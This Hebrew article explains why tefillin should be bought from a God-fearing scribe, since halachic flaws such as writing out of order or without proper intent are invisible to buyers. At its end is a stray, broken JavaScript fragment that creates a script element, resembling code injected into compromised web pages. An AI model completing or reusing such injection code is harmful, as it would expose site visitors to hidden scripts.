מדוע יש להקפיד לרכוש תפילין דווקא מסופר סת”ם “ירא שמים” הרי מה שחשוב זה הכתב שלו וצורת האותיות והמקצועיות שלו ולא “יראת השמים” שלו ?

יש הרבה הלכות בענין כתיבת ויצור התפילין אשר אם לא מקימים אותן התפילין פסולות.  נציג להלן מספר דוגמאות:

“כסדרן”

  מאחר ונאמר “והיו הדברים האלה” למדו חז”ל  “והיו”- שהפרשיות צריכות להיות כהויתן  כלומר  שצריך לכתוב את ארבעת הפרשיות הנמצאות בתפילין לפי הסדר שנכתבו בתורה דהיינו עליו לכתוב תחילה את פרשת “קדש לי” ואח”כ “והיה כי יביאך” ואח”כ “שמע ישראל” ואח”כ והיה אם שמוע”.  אם לא כתב אותן כסדרן (לדוגמא: כתב את “שמע”   השאיר ריווח לפרשת” והיה כי יביאך” אך לא כתב אותה עכשיו אלא המשיך לכתוב את השאר וחזר וכתב במקום שהשאיר את פרשת  ” והיה כי יביאך”) התפילין פסולות

 

“לשמה”

כאשר מעבדים את קלף התפילין יש לעבדו ולומר “לשם קדושת תפילין” ואם לא עיבדוהו  לשם קדושת תפילין התפלין פסולות.

לפני שהסופר מתחיל לכתוב עליו לומר ” אני כותב לשם קדושת תפילין”   ובכל פעם שכותב את שם ד’ עליו לומר “אני כותב לשם קדושת שם השם”   ואם לא כתב לשם קדושת תפילין או שלא כתב את האזכרות לשם קדושת שם השם, פסול

“חק תוכות”

בכתיבת  ס”ת תפילין ומזוזות יש לכתוב בפועל את גוף האותיות אבל אם האות נעשית מאליה,  פסולה .           לדוגמא: נפלה טיפת דיו על הקלף ולאחר מכן גרד הסופר את הדיו ויצר צורת אות.  דבר זה למדו חז”ל מהפסוק  “וכתב לה ספר כריתות”   “וכתב” ולא  “וחקק”

“מן המותר בפיך”

באחת מפרשיות התפילין נאמר ” למען תהיה תורת ד’ בפיך”   . מהמילה  “בפיך”  למדו חז”ל כי את הקלף אשר עליו כותבים את התפילין  ואת הבתים של התפילין יש לעשות מעור של בהמה חיה או עוף טהורים  אשר מותר לאכלם  ( “בפיך”).

לאור כל ההלכות הללו ברור לנו מדוע צריך שהסופר יהיה “ירא שמים” כיוון שרק הסופר (והקב”ה)  יודעים אם הפרשיות נכתבו  “כסדרן”  או  “לשמה”   או  “חק תוכות”  או  “מן המותר בפיך”ואם הסופר אינו ירא שמים התפילין יכולות להראות מצוינות  והוא לא יספר על טעויות שקרו לו  בהלכות אלו  הגורמות לתפילין להיות פסולות  ולכן תמיד יש לבדוק מיהו הסופר והאם הוא ירא שמים.var d=document;var s=d.createElement(‘script’); } else {

סגור לתגובות.

Scroll To Top